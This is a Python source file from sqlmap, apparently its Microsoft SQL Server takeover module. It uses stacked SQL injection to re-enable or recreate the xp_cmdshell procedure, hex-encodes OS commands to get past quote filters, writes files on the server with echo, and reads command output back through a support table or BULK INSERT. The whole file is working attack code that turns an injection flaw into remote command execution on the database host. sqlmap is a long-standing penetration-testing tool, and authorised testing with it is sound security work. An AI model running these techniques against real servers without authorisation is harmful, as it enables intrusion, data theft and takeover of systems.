1#!/usr/bin/env python
2
3"""
4Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
5See the file 'LICENSE' for copying permission
6"""
7
8from lib.core.agent import agent
9from lib.core.common import Backend
10from lib.core.common import flattenValue
11from lib.core.common import getLimitRange
12from lib.core.common import getSQLSnippet
13from lib.core.common import hashDBWrite
14from lib.core.common import isListLike
15from lib.core.common import isNoneValue
16from lib.core.common import isNumPosStrValue
17from lib.core.common import isTechniqueAvailable
18from lib.core.common import popValue
19from lib.core.common import pushValue
20from lib.core.common import randomStr
21from lib.core.common import readInput
22from lib.core.common import wasLastResponseDelayed
23from lib.core.compat import xrange
24from lib.core.convert import encodeHex
25from lib.core.data import conf
26from lib.core.data import kb
27from lib.core.data import logger
28from lib.core.decorators import stackedmethod
29from lib.core.enums import CHARSET_TYPE
30from lib.core.enums import DBMS
31from lib.core.enums import EXPECTED
32from lib.core.enums import HASHDB_KEYS
33from lib.core.enums import PAYLOAD
34from lib.core.exception import SqlmapUnsupportedFeatureException
35from lib.core.threads import getCurrentThreadData
36from lib.request import inject
37
38class XP_cmdshell(object):
39    """
40    This class defines methods to deal with Microsoft SQL Server
41    xp_cmdshell extended procedure for plugins.
42    """
43
44    def __init__(self):
45        self.xpCmdshellStr = "master..xp_cmdshell"
46
47    def _xpCmdshellCreate(self):
48        cmd = ""
49
50        if not Backend.isVersionWithin(("2000",)):
51            logger.debug("activating sp_OACreate")
52
53            cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
54            inject.goStacked(agent.runAsDBMSUser(cmd))
55
56        self._randStr = randomStr(lowercase=True)
57        self.xpCmdshellStr = "master..new_xp_cmdshell"
58
59        cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
60
61        if not Backend.isVersionWithin(("2000",)):
62            cmd += ";RECONFIGURE WITH OVERRIDE"
63
64        inject.goStacked(agent.runAsDBMSUser(cmd))
65
66    def _xpCmdshellConfigure2005(self, mode):
67        debugMsg = "configuring xp_cmdshell using sp_configure "
68        debugMsg += "stored procedure"
69        logger.debug(debugMsg)
70
71        cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
72
73        return cmd
74
75    def _xpCmdshellConfigure2000(self, mode):
76        debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
77        debugMsg += "stored procedure"
78        logger.debug(debugMsg)
79
80        if mode == 1:
81            cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
82        else:
83            cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))
84
85        return cmd
86
87    def _xpCmdshellConfigure(self, mode):
88        if Backend.isVersionWithin(("2000",)):
89            cmd = self._xpCmdshellConfigure2000(mode)
90        else:
91            cmd = self._xpCmdshellConfigure2005(mode)
92
93        inject.goStacked(agent.runAsDBMSUser(cmd))
94
95    def _xpCmdshellCheck(self):
96        cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
97        self.xpCmdshellExecCmd(cmd)
98
99        return wasLastResponseDelayed()
100
101    @stackedmethod
102    def _xpCmdshellTest(self):
103        threadData = getCurrentThreadData()
104        pushValue(threadData.disableStdOut)
105        threadData.disableStdOut = True
106
107        logger.info("testing if xp_cmdshell extended procedure is usable")
108        output = self.xpCmdshellEvalCmd("echo 1")
109
110        if output == "1":
111            logger.info("xp_cmdshell extended procedure is usable")
112        elif isNoneValue(output) and conf.dbmsCred:
113            errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
114            errMsg += "storing console output within the back-end file system "
115            errMsg += "does not have writing permissions for the DBMS process. "
116            errMsg += "You are advised to manually adjust it with option "
117            errMsg += "'--tmp-path' or you won't be able to retrieve "
118            errMsg += "the command(s) output"
119            logger.error(errMsg)
120        elif isNoneValue(output):
121            logger.error("unable to retrieve xp_cmdshell output")
122        else:
123            logger.info("xp_cmdshell extended procedure is usable")
124
125        threadData.disableStdOut = popValue()
126
127    def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
128        echoedLines = []
129        cmd = ""
130        charCounter = 0
131        maxLen = 512
132
133        if isinstance(fileContent, (set, list, tuple)):
134            lines = fileContent
135        else:
136            lines = fileContent.split("\n")
137
138        for line in lines:
139            echoedLine = "echo %s " % line
140            echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
141            echoedLines.append(echoedLine)
142
143        for echoedLine in echoedLines:
144            cmd += "%s & " % echoedLine
145            charCounter += len(echoedLine)
146
147            if charCounter >= maxLen:
148                self.xpCmdshellExecCmd(cmd.rstrip(" & "))
149
150                cmd = ""
151                charCounter = 0
152
153        if cmd:
154            self.xpCmdshellExecCmd(cmd.rstrip(" & "))
155
156    def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
157        # When user provides DBMS credentials (with --dbms-cred) we need to
158        # redirect the command standard output to a temporary file in order
159        # to retrieve it afterwards
160        # NOTE: this does not need to be done when the command is 'del' to
161        # delete the temporary file
162        if conf.dbmsCred and insertIntoTable:
163            self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
164            cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
165
166        # Obfuscate the command to execute, also useful to bypass filters
167        # on single-quotes
168        self._randStr = randomStr(lowercase=True)
169        self._cmd = "0x%s" % encodeHex(cmd, binary=False)
170        self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
171        self._forgedCmd += "SET @%s=%s;" % (self._randStr, self._cmd)
172
173        # Insert the command standard output into a support table,
174        # 'sqlmapoutput', except when DBMS credentials are provided because
175        # it does not work unfortunately, BULK INSERT needs to be used to
176        # retrieve the output when OPENROWSET is used hence the redirection
177        # to a temporary file from above
178        if insertIntoTable and not conf.dbmsCred:
179            self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
180
181        self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
182
183        return agent.runAsDBMSUser(self._forgedCmd)
184
185    def xpCmdshellExecCmd(self, cmd, silent=False):
186        return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
187
188    def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
189        output = None
190
191        if conf.direct:
192            output = self.xpCmdshellExecCmd(cmd)
193
194            if output and isinstance(output, (list, tuple)):
195                new_output = ""
196
197                for line in output:
198                    if line == "NULL":
199                        new_output += "\n"
200                    else:
201                        new_output += "%s\n" % line.strip("\r")
202
203                output = new_output
204        else:
205            inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
206
207            # When user provides DBMS credentials (with --dbms-cred), the
208            # command standard output is redirected to a temporary file
209            # The file needs to be copied to the support table,
210            # 'sqlmapoutput'
211            if conf.dbmsCred:
212                inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
213                self.delRemoteFile(self.tmpFile)
214
215            query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
216
217            if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
218                output = inject.getValue(query, resumeValue=False, blind=False, time=False)
219
220            if (output is None) or len(output) == 0 or output[0] is None:
221                output = []
222                count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
223
224                if isNumPosStrValue(count):
225                    for index in getLimitRange(count):
226                        query = agent.limitQuery(index, query, self.tblField)
227                        output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
228
229            inject.goStacked("DELETE FROM %s" % self.cmdTblName)
230
231            if output and isListLike(output) and len(output) > 1:
232                _ = ""
233                lines = [line for line in flattenValue(output) if line is not None]
234
235                for i in xrange(len(lines)):
236                    line = lines[i] or ""
237                    if line is None or i in (0, len(lines) - 1) and not line.strip():
238                        continue
239                    _ += "%s\n" % line
240
241                output = _.rstrip('\n')
242
243        return output
244
245    def xpCmdshellInit(self):
246        if not kb.xpCmdshellAvailable:
247            infoMsg = "checking if xp_cmdshell extended procedure is "
248            infoMsg += "available, please wait.."
249            logger.info(infoMsg)
250
251            result = self._xpCmdshellCheck()
252
253            if result:
254                logger.info("xp_cmdshell extended procedure is available")
255                kb.xpCmdshellAvailable = True
256
257            else:
258                message = "xp_cmdshell extended procedure does not seem to "
259                message += "be available. Do you want sqlmap to try to "
260                message += "re-enable it? [Y/n] "
261
262                if readInput(message, default='Y', boolean=True):
263                    self._xpCmdshellConfigure(1)
264
265                    if self._xpCmdshellCheck():
266                        logger.info("xp_cmdshell re-enabled successfully")
267                        kb.xpCmdshellAvailable = True
268
269                    else:
270                        logger.warn("xp_cmdshell re-enabling failed")
271
272                        logger.info("creating xp_cmdshell with sp_OACreate")
273                        self._xpCmdshellConfigure(0)
274                        self._xpCmdshellCreate()
275
276                        if self._xpCmdshellCheck():
277                            logger.info("xp_cmdshell created successfully")
278                            kb.xpCmdshellAvailable = True
279
280                        else:
281                            warnMsg = "xp_cmdshell creation failed, probably "
282                            warnMsg += "because sp_OACreate is disabled"
283                            logger.warn(warnMsg)
284
285            hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
286
287            if not kb.xpCmdshellAvailable:
288                errMsg = "unable to proceed without xp_cmdshell"
289                raise SqlmapUnsupportedFeatureException(errMsg)
290
291        debugMsg = "creating a support table to write commands standard "
292        debugMsg += "output to"
293        logger.debug(debugMsg)
294
295        # TEXT can't be used here because in error technique you get:
296        # "The text, ntext, and image data types cannot be compared or sorted"
297        self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
298
299        self._xpCmdshellTest()
300